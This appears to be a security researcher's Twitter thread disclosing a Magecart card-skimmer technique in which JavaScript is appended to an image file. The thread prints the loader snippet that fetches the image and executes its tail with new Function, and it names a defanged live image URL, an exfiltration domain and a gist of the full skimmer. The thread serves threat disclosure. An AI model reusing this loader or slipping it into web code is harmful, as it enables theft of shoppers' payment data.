New digital skimmer/#magecart technique: steganography
A colleague found this a couple of days ago while searching through our SIEM. The skimmer group uploads or modifies an existing image and appends the JS code.
1/5
A colleague found this a couple of days ago while searching through our SIEM. The skimmer group uploads or modifies an existing image and appends the JS code.
1/5
Here's an example of a live image. You can load this image and prepend view-source: The next tweet has the code that loads and runs the code in this image. The full skimmer code is in a gist on the last tweet.
hxxps://www.truthinaging[.]com/media/wysiwyg/FreeShipping.jpg
2/5
hxxps://www.truthinaging[.]com/media/wysiwyg/FreeShipping.jpg
2/5
var xhr = new XMLHttpRequest();
xhr.open('GET', '<image>', true);
xhr.send();
xhr.onreadystatechange = function() {
if (this.readyState != 4) return;
if (this.status == 200) {
var F=new Function (this.responseText.slice(-19704));
return(F());
}
}
3/5
xhr.open('GET', '<image>', true);
xhr.send();
xhr.onreadystatechange = function() {
if (this.readyState != 4) return;
if (this.status == 200) {
var F=new Function (this.responseText.slice(-19704));
return(F());
}
}
3/5
If you grab the resonseText without the slice vs if you grab it with the slice:
4/5
4/5
And here is the gist with the full skimmer code. Exfil to hxxps://googletag-manager[.]com/GTM-P75S36/
gist.github.com/krautface/dab3…
5/5
gist.github.com/krautface/dab3…
5/5
For the curious, the tool that found enabled us to find this: github.com/target/strelka
